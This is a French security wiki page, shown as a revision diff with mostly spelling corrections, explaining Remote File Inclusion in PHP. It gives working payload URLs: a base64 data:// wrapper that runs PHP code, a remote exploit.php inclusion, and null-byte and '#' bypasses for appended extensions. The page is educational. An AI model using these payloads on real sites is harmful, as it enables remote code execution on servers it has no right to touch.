Outils pour utilisateurs

Outils du site


web:injection_rfi

Différences

Ci-dessous, les différences entre deux révisions de la page.

Lien vers cette vue comparative

Prochaine révision
Révision précédente
web:injection_rfi [2016/03/11 10:32]
arkinar créée
web:injection_rfi [2016/07/04 08:38] (Version actuelle)
Ligne 6: Ligne 6:
  
  
-Le RFI est une faille permettant à un attaquant d'​inclure un fichier distant. Cette vulnérabilité est basé +Le RFI est une faille permettant à un attaquant d'​inclure un fichier distant. Cette vulnérabilité est basée 
-sur des fonctions ​tels que include ou encore require (pour le php).+sur des fonctions ​telles ​que include ou encore require (pour le php).
 D'​autres langages comme le Javascript et l'ASP sont aussi impactés. D'​autres langages comme le Javascript et l'ASP sont aussi impactés.
  
-Les conséquences sont multiples ​tels que :+Les conséquences sont multiples :
  
     - L'​exécution de code sur le serveur web     - L'​exécution de code sur le serveur web
-    - L'​exécution de code sur le côté client comme le JavaScript ​qui peut conduire à d'​autres attaques comme Cross-site scripting (XSS)+    - L'​exécution de code sur le côté client comme le JavaScript peut conduire à d'​autres attaques comme Cross-site scripting (XSS)
     - Déni de service (DoS)     - Déni de service (DoS)
-    - Le vol de données / Manipulation+    - Le vol de données / Manipulation ​de données
  
 Ces types d’attaques sont de moins en moins présentes dans les applications qui sont basées majoritairement sur des framework robustes. ​ Ces types d’attaques sont de moins en moins présentes dans les applications qui sont basées majoritairement sur des framework robustes. ​
Ligne 31: Ligne 31:
 Dans cette exemple le nom du fichier est extrait depuis la requete HTTP et aucunes validations ne lui est appliquées. Dans cette exemple le nom du fichier est extrait depuis la requete HTTP et aucunes validations ne lui est appliquées.
  
-La détection de cette faille est relativement simple car si on inclus ​un fichier inexistant on se retrouve avec une erreur ​du style :+La détection de cette faille est relativement simple car si on inclut ​un fichier inexistant on se retrouve avec une erreur ​qui peut ressembler à :
  
 <​code>​ <​code>​
Ligne 56: Ligne 56:
 __2.2 Méthode 2 : DATA URI__ __2.2 Méthode 2 : DATA URI__
  
-Nous allons utiliser le wrapper PHP DATA pour executer ​du code php.+Nous allons utiliser le wrapper PHP DATA pour exécuter ​du code php.
  
 Tout d'​abord nous allons encoder notre script en base64 Tout d'​abord nous allons encoder notre script en base64
Ligne 73: Ligne 73:
 [[http://​localhost/​rfi.php?​page=data://​text/​plain;​base64,​notre_script_encodé_en_base64]] [[http://​localhost/​rfi.php?​page=data://​text/​plain;​base64,​notre_script_encodé_en_base64]]
  
-On obtiens ​:+On obtient ​:
  
 [[http://​localhost/​rfi.php?​page=data://​text/​plain;​base64,​PD9waHAgZWNobyAndnVsbmVyYWJsZSc7ID8+]] [[http://​localhost/​rfi.php?​page=data://​text/​plain;​base64,​PD9waHAgZWNobyAndnVsbmVyYWJsZSc7ID8+]]
  
 Cela aura pour effet d'​afficher "​vulnérable"​ sur le site. Cela aura pour effet d'​afficher "​vulnérable"​ sur le site.
-Je vous laisse imaginer des scripts plus poussé ​pour effectuer ​tel ou tel actions.+Je vous laisse imaginer des scripts plus poussés ​pour effectuer ​des actions ​plus évoluées.
  
  
 __2.3 Méthode 3 : Bypass d'​extensions auto ajoutées__ __2.3 Méthode 3 : Bypass d'​extensions auto ajoutées__
  
-Il se peut que lorsque ​que vous essayer ​d'​inclure un script distant le site ajoute automatiquement une extention ​(.php / .text /.js ...)+Il est possible ​que lorsque ​d'un essaie ​d'​inclure un script distant le site ajoute automatiquement une extension ​(.php / .text /.js ...)
  
-Il y'a deux façon ​pour éviter cela :+Il y a deux façons ​pour éviter cela :
  
 Première solution : Le null byte (CF  faille LFI) Première solution : Le null byte (CF  faille LFI)
Ligne 92: Ligne 92:
 [[http://​localhost/​rfi.php?​page=http://​wikisecu.fr/​exploit.php%00]] [[http://​localhost/​rfi.php?​page=http://​wikisecu.fr/​exploit.php%00]]
  
-Seconde solution (fonctionne uniquement sur certain site) : Le caractère #+Seconde solution (fonctionne uniquement sur certains sites) : Le caractère #
  
 Le caractère # une fois encodé donne %23 Le caractère # une fois encodé donne %23
web/injection_rfi.txt · Dernière modification: 2016/07/04 08:38 (modification externe)